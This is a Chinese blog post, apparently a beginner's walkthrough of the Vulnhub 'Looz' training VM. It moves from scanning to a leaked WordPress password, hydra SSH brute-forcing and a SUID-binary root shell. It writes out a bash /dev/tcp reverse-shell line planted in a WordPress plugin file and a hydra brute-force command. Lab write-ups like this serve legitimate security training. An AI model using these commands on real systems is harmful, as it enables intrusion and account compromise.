Vulnhub之Looz靶机

已于 2023-04-14 08:53:49 修改
阅读量610 收藏
点赞数
分类专栏： # Vulnhub靶机训练 文章标签： linux 网络安全 web安全
于 2023-04-14 00:59:07 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/XuanNia/article/details/130143713
版权

配置好网卡。kali和Looz可以连通。
VM中桥接模式连接到Vbox的Http-Only网卡。
Vbox中使用对应的Http-Only网卡。

写在前面：这不是教程，是新手练习的心路历程。

实战开始

基础扫描

arp-scan -l

arp-scan -l发现本地网段存活主机，下面192.168.56.100为Vbox的网卡DHCP服务器的IP，101为靶机IP。
image.png

nmap 全面扫描

nmap 全面扫描主机或者针对性扫描，既然是本地测试那就都试试，增加nmap熟练度.
image.pngimage.png
靶机开启端口服务有：ssh、web服务（nginx1.18）、3306 mysql 5.5.5、8081（apache 2.4.38），139和445是关闭状态。

逐点排查

访问80端口：

image.png

联想到mysql，是否可能存在SQL注入或者其他漏洞，所以找找接口，也可以扫描一下目录，再联想到nginx1.18，搜搜有什么漏洞。查看一下网页源码，发现一行注释：

<!-- -john don't forget to remove this comment, for now wp password is  y0uC@n'tbr3akIT-->

wp password是什么？网上一搜，给出的联想是WordPress，先记录下y0uC@n'tbr3akIT，那么我扫描一下CMS好了。

└─$ whatweb http://192.168.56.101/ 
http://192.168.56.101/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[192.168.56.101], JQuery, MetaGenerator[Nicepage 3.15.3, nicepage.com], Open-Graph-Protocol[website], Script[application/ld+json,text/javascript], Title[Home], nginx[1.18.0]

这里又出现了 MetaGenerator[Nicepage 3.15.3, nicepage.com]，nicepage是一个建站工具，从页面源码中还看到了这个网页使用了wordpress主题。
目录扫描也没扫出东西来。
总之这里暂时没有弄出有用的东西来。

:::success
阶段总结：这里说明80端口的web是个套壳的，没有真的web服务。不过基本确定了8081端口应该是有基于WordPress的Web服务。
:::

访问8081端口

这里redirect到了80端口。根据nmap扫描到的提示，Do not follow redirect to http://192.168.56.101. 所以使用Bp拦截一下响应。

HTTP/1.1 301 Moved Permanently
Date: Thu, 13 Apr 2023 11:38:13 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.20
X-Redirect-By: WordPress

发现了8081端口的框架是 wordpress，使用php。
这里301响应，CTF中一般会尝试把GET方法改为POST，再次访问8081端口，瞧瞧发现了什么？
image.png
该页面有提示：This is your first post. Edit or delete it, then start writing. 什么意思？
进入浏览器，使用POST访问8081。kali火狐里面的hackbar有点不好用，多数时候url发送不出去。然后我找到了一个方法使用浏览器得到POST请求页面了。进入HTTP历史，找到那个POST请求，右键有一个Show response in browser。复制url，进入浏览器访问，成功。

在这个页面蓝色超链接，导向了wp.looz.com这个网站，但没有解析记录，所以没法访问。不过现在已经明确8081端口的web服务是基于WordPress的。根据WordPress常见的登录目录，进行访问试一下：

http://192.168.56.101:8081/wp-login.php

image.png
问题又来了，不知道Username或者Email。基本可以确定80端口注释中获得wp password应该是用在这里的。

有查看了一下登录页面的源码，看到登录框对应代码中的action=http://wp.looz.com/wp-login.php，所以wp.looz.com应该就是8081端口的域名，所以添加一下DNS解析记录。

vim /etc/hosts
192.168.56.101	wp.looz.com

访问 http://wp.looz.com/wp-login.php，进入登录界面。
image.png

重整思路—发现用户名john

还是搜了一下他人的解答。关键的一点我没有发现，那就是用户名：john。我没有敏锐地去捕捉这个信息。
去使用john登录一下WordPress，登录成功：获取WP版本为5.7.2，但没有搜索相关漏洞的有效信息。

查看Users标签，得知 John为管理员，还有一个管理员 gandalfimage.png

获取管理员权限的Web后台，思路就是写入WebShell。可利用的点就是SQL注入、文件上传等。
根据Apache2.4.38可能存在的多后缀名解析漏洞，可以上传一个shell.php.pdf的WebShell。现在测一下：
在Media模块上传pdf后缀失败，jpg后缀失败。这里好像一句话木马会被检测出来，它上传文件限制了大小，一句话木马具有很明显的特征，不会免杀，所以这一步要么试试msf要么暂停。

又去看了一下别人的提示，添加插件，我这里添加新插件紧不出来，我看到Plugin Editor，点进去是一个akismet/akismet.php文件，我写进system(‘bash -c “bash -i >& /dev/tcp/192.168.56.102/9001 0>&1”’); 更新文件，更新成功。但这个文件处于未激活状态，并且找不到方法访问。

先到这，根据前辈的博客，这个8081是个容器。这一点从nmap扫描结果就能看出来，80端口是Nginx（Ubuntu），而8081是Apache2.4.38（Debian）。SSH也是UBUNTU，经验丰富的话应该能够判断出来。

SSH爆破

SSH爆破我只能拾人牙慧了。
老早就注意到SSH服务了，也搜集了两个漏洞，但是找不到利用机会。现在学习如何爆破SSH。
使用Hydra：其中 sshname为一个文件，写入了从Web后台获得的用户名，rockyou.txt为kali自带。

hydra -L sshname -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101 -F -V

扫了六千多条，得到gandalf密码：highschoolmusical。

靶机信息收集、提权

  • 登录 gandalf

SSH连接，下面是通过/etc/passwd查看用户信息，找到uid=1000的用户 alatar，找到一个user.txt，到解密得到密码 alatar。

gandalf@looz:~$ ls
gandalf@looz:~$ id
uid=1001(gandalf) gid=1001(gandalf) groups=1001(gandalf)
gandalf@looz:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
alatar:x:1000:1000:Alatar:/home/alatar:/bin/bash
gandalf:x:1001:1001:Gandalf,,,,The Grey:/home/gandalf:/bin/bash

gandalf@looz:~$ ls /home
alatar  gandalf
gandalf@looz:~$ ls -a /home
.  ..  alatar  gandalf
gandalf@looz:~$ ls -l /home/alatar/
total 12
drwxrwxr-x 2 alatar alatar 4096 Jun  7  2021 Private
-rw-rw-r-- 1 alatar alatar   33 Jun  7  2021 user.txt
drwxrwxr-x 4 alatar alatar 4096 Jun  7  2021 wordpress
gandalf@looz:~$ cat ../alatar/user.txt 
9acf80de68fbb344573762e84cced6f3
gandalf@looz:~$ cd ../alatar/

同时找到了一个shell_testv1.0的文件，查看属性，其具有s权限。直接cat出其内容，不好阅读，应是编码的问题。使用strings命令读取shell_testv1.0的内容。但是看不懂其中的内容，这时候大胆一点，运行一下。

gandalf@looz:/home/alatar$ cd Private/
gandalf@looz:/home/alatar/Private$ ls -l 
total 20
-rwsr-xr-x 1 root root 16848 Jun  7  2021 shell_testv1.0

gandalf@looz:~$ strings /home/alatar/Private/shell_testv1.0 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__stack_chk_fail
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
GLIBC_2.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
/bin/basH
[]A\A]A^A_
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
shell_testv1.0.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

运行 shell_testv1.0，×，拿到root了？

gandalf@looz:~$  /home/alatar/Private/shell_testv1.0 
root@looz:~#

shell_testv1.0 应该是一个内核提权文件。以root的权限再次搜集靶机信息：

root@looz:~# cd /root
root@looz:/root# ls
root.txt  rundocker.sh  snap
root@looz:/root# cat root.txt 
ab17850978e36aaf6a2b8808f1ded971	# 解密为：gandalf
## 原来hash是flag。

root@looz:/root# ls -al
total 52
drwx------  5 root root 4096 Jun  7  2021 .
drwxr-xr-x 21 root root 4096 Jun  7  2021 ..
-rw-------  1 root root  498 Jun  7  2021 .bash_history
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwxr-xr-x  3 root root 4096 Jun  7  2021 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r--r--  1 root root   33 Jun  7  2021 root.txt
-rw-r--r--  1 root root   50 Jun  7  2021 rundocker.sh
-rw-r--r--  1 root root   66 Jun  7  2021 .selected_editor
drwxr-xr-x  3 root root 4096 Jun  6  2021 snap
drwx------  2 root root 4096 Jun  6  2021 .ssh
-rw-------  1 root root 8128 Jun  7  2021 .viminfo
root@looz:/root# cat rundocker.sh 
docker start wordpressdb
docker start wpcontainer

root@looz:/root# cat .bash_history 
chown root shell_testv1.0.c 
chgrp root shell_testv1.0.c 
chmod +x shell_testv1.0.c 
chmod u+s shell_testv1.0.c 
ls
gcc -o shell_testv1.0 shell_testv1.0.c 
apt install gcc
clear
gcc -o shell_testv1.0 shell_testv1.0.c 
vim shell_testv1.0.c 
gcc -o shell_testv1.0 shell_testv1.0.c 
clear
ls -la
chmod +x shell_testv1.0
chmod u+a shell_testv1.0
chmod u+s shell_testv1.0
clear
ls -la
rm shell_testv1.0.c
clear
ls -la
exit
cd /root
vim rundocker.sh
crontab
crontab -e
exit


root@looz:/root# crontab -e
......
reboot /root/rundocker.sh

从这历史中可以看出来，先是更改了C语言代码的权限，然后下载gcc编译，编写一个运行docker wordpress web服务 shell，装进定时任务。这个shell_testv1.0像是一个后门，又像是简化提权的，不需要使用密码。

总结

这个靶机这次就到这了。这个靶机更像是一个黑客已经入侵了这台机器，给我们留下了后门。
我也从中学到些东西：

  • 对WordPress更熟悉了一些，知道哪里可以上传，虽然不一定能成功上传WebShell，知道哪里可以改插件代码，哪里可以添加插件，这些插件中很可能就存在漏洞，比如 WP-upload-manager。
  • get一句hydra爆破SSH的使用方法。
  • 查看bash历史命令，看看之前的人做过什么，是个很有启发的思路，对于小白来说。
  • 判断当前Linux环境是不是docker，cat /proc/1/cgroup的结果中含有docker字符，隐藏文件中有dockerenv，进程数少得可怜，无部分常用命令

一个不解：

  • 关于shell_testv1.0文件提权，还不清楚用的什么原理，今天先挖个坑。

做题过程中的小插曲

  • 登录alatar失败
gandalf@looz:su alatar
Password:  # alatar
su: Authentication failure
# 使用原本的hash去登录也失败了：9acf80de68fbb344573762e84cced6f3

权限提升

登录 gandalf，却没能登录 alatar的情况，我们要提升权限，可以先查看S权限的命令，再确认sudo是否存在，/etc/sudoers 是否可修改，最后看看Linux内核版本有无可利用漏洞。
毕竟是靶场，我先修改了一波gandalf的密码：123.com

gandalf@looz:~$ passwd
Changing password for gandalf.
Current password: 
New password: 				# 123.com
Retype new password: 
passwd: password updated successfully

查找S权限命令
# 查找S权限命令
gandalf@looz:/home/alatar$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/at
/usr/bin/sudo
/usr/bin/fusermount
/home/alatar/Private/shell_testv1.0
/snap/snapd/10707/usr/lib/snapd/snap-confine
/snap/snapd/12057/usr/lib/snapd/snap-confine

主要注意到sudo、at、passwd，还有alatar用户下的 shell_testv1.0.

/etc/sudoers 提权—失败
gandalf@looz:/home/alatar$ ls -l /etc/sudoers
-r--r----- 1 root root 755 Feb  3  2020 /etc/sudoers

利用S权限命令提权

漏洞信息搜集

去搜漏洞信息了。一个是Apache2.4.38，一个是Nginx1.18.0，还有就是Openssh8.2。首先看看Apache吧。

Apache 2.4.38：

apache-httpd_2.4.38_multiple-suffix-parsing-vulnerability，多后缀解析漏洞，只要一个文件的文件名中包含了.php 关键字（没必要是最后一个后缀），就会被识别成PHP 文件。要配合文件上传，或者已有文件。所以暂时没法利用。

Nginx 1.18.0 简单一搜，没有清晰的可利用的漏洞。

OpenSSH8.2：
  • OpenSSH 命令注入漏洞(CVE-2020-15778)（高危）
    OpenSSH 8.4p1及之前版本中的scp的scp.c文件存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中，网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。
  • OpenSSH 输入验证错误漏洞(CVE-2020-12062)（高危）
    OpenSSH 8.2版本中存在安全漏洞，该漏洞源于在utimes系统调用失败时，scp客户端错误地向服务器发送了重复的响应。攻击者可通过在远程服务器上创建子目录利用该漏洞覆盖客户端下载目录中的任意文件。

参考

Looz练习：https://www.cnblogs.com/hirak0/p/16118654.html

如何判断Linux中的服务是不是Docker：https://www.cnblogs.com/rab3it/p/14760769.html)

S3KER
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
简单的Apache Airflow（CVE-2022-40127）漏洞复现
kali_Ma的博客
12-09 1471
Apache Airflow 是一个可编程，调度和监控的工作流平台，基于有向无环图(DAG)，Airflow 可以定义一组有依赖的任务，按照依赖依次执行。官方已发布版本 2.4.3，可升级Apache Airflow版本到2.4.0或以上，或者停用默认 Dags。当攻击者可访问到Apache Airflow的后台，且环境中存在默认。
正向代理与方向代理--zl
红梅花儿开
07-22 1049
一、正向代理    正向代理是一个位于客户端和原始服务器(origin server)之间的服务器，为了从原始服务器取得内容，客户端向代理发送一个请求并指定目标(原始服务器)，然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。    正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性(由
2024年最全看完这篇 教你玩转渗透测试靶机vulnhub——FunBox1(1)，2024年最新科学技术协会面试
最新发布
2401_84562858的博客
05-08 724
1.修改/etc/hosts文件 解析网站2.从新学习了一遍定时提权 （主要是回弹的命令）3.还有一些简单的扫码工具 和枚举工具 这靶机其实很简单 因为太久没做了 所以从新温习一下 主要是学习渗透的思路！网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。需要这份系统化的资料的朋友，可以戳这里获取一个人可以走的很快，但一群人才能走的更远！
Apache HTTP Server 安全漏洞（CVE-2019-0211）加固指南
乐大厨串串香飘万里
10-11 1419
安全漏洞
Vulhub靶机合集
Aiwin的博客
07-21 607
Vulhub靶机合集(持续记录)
看完这篇 教你玩转渗透测试靶机vulnhub——FunBox1
Aluxian_的博客
09-05 2282
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。老样子需要找到flag即可。1.修改/etc/hosts文件 解析网站2.从新学习了一遍定时提权 （主要是回弹的命令）3.还有一些简单的扫码工具 和枚举工具 这靶机其实很简单 因为太久没做了 所以从新温习一下 主要是学习渗透的思路！
入侵靶机DC-9
干铮的博客
11-11 496
1.主机发现 Nmap -sP 192.168.43.0/24 C:\Users\ASUS>Nmap -sP 192.168.43.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-11 11:53 ?D1ú±ê×?ê±?? Nmap scan report for 192.168.43.79 Host is up (0.0010s latency). MAC Address: 00:0C:29:B7:B6:AD (VMware).
【每日打靶练习】Vulnhub靶机平台-tomato
leo788的博客
12-30 1432
在网页的下边找到包含内容，通过返回信息中的用户属性得到信息：root用户可以执行shell，下方的tomato用户也可以执行shell，继续。尝试ssh连接，这里使用错误的用户名和错误的密码，输入三次后，写入日志中，检查一下log，成功获取到日志信息，可通过修改ruser来进行注入。刷新日志进行查看，发现注入未显示，证明注入成功，木马被作为代码执行，若显示则失败，代码木马作为文本执行。包含失败，这里未开放远程包含，同时本地包含文件无可再利用—》转换思路。执行后的匹配到相应漏洞，选择可能性高的来试一下。
vulnhub靶机实战-My-cmsms靶机
09-29
vulnhub靶机实战-My-cmsms靶机 本文档将针对vulnhub靶机实战-My-cmsms靶机，详细讲解靶机的主机发现、端口扫描、服务版本识别等相关技术。 主机发现 在靶机实战中，主机发现是指通过各种技术手段来发现目标网络中...
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
VulnHub靶场系列：Chili
快吃小蛋糕吧的博客
10-05 1340
VulnHub靶场系列：Chili 刚刚在VulnHub官网上找了些简单的靶机，感觉这个还挺适合新手的 环境部署： https://download.vulnhub.com/chili/Chili.ova 实战： 首先使用工具扫描靶机所在网段，得到靶机IP： root@kali:/# nmap -sP 192.168.200.129/24 Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 08:56 CST Nmap scan report f
看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-4
Aluxian_的博客
06-17 968
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。这期更新一下Vulnhub DriftingBlues 系列 还是老样子找到FLAG即可，可能比较偏向CTF点。官网地址：https://www.vulnhub.com/entry/driftingblues-4,661/ 下载好了把安装包解压 然后试用VMware即可。前言：这里又是DriftingBlues-2的问题 需要自己配网卡具体参考：h
OpenSSH命令注入漏洞(CVE-2020-15778)
热门推荐
qq_42947816的博客
02-09 2万+
一般在特定环境下利用，比如在知道SSH账户密码后，但禁用SSH登陆或SSH连接被阻止，服务器允许使用scp传文件的情况下，可对其进行命令注入，所以如果攻击者不知道ssh账密，此漏洞无法利用。
CVE-2020-15778 OpenSSH命令注入漏洞
明哥哥知识分享
11-11 1398
一、漏洞概要 2020年6月9日，研究人员Chinmay Pandya在Openssh中发现了一个漏洞，于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。深信服安全研究团队依据漏洞重要性和影响力进行评估，作出漏洞通告。 二、漏洞分析 2.1 OpenSSH介绍 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听，连接劫持以及其他攻击。OpenSSH由OpenB
漏洞复现-Apache漏洞合集
aming小老弟
10-03 2682
渗透
vulnhub靶机系列：
09-09
你好！关于Vulnhub靶机系列，我可以提供一些信息。Vulnhub是一个开放的漏洞测试平台，提供了一系列用于学习和实践渗透测试的虚拟机。这些虚拟机包含了各种不同的漏洞，供安全爱好者和专业人员练习渗透测试技巧。 Vulnhub上有许多靶机系列，每个系列都包含了多个不同难度级别的虚拟机。通过解决这些靶机，你可以学习到渗透测试中常见的攻击技术和漏洞利用方法。 一些著名的Vulnhub靶机系列包括： 1. Kioptrix：这是一个非常受欢迎的系列，包含了多个不同难度级别的靶机。从初级到高级的挑战，覆盖了各种网络安全知识。 2. Metasploitable：这个系列模拟了一个容易受到攻击的系统，用于学习Metasploit框架和漏洞利用。 3. SickOS：这个系列提供了一些有趣的靶机，涵盖了各种不同类型的漏洞。 4. HackTheBox：虽然HackTheBox不是Vulnhub上的系列，但它也是一个非常受欢迎的漏洞测试平台，提供了一系列具有挑战性的靶机。 这些靶机系列都可以帮助你锻炼渗透测试技能，并提供了一个实践环境来深入了解网络安全和漏洞利用的原理。希望这些信息能帮到你！如果你还有其他问题，请随时提问。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值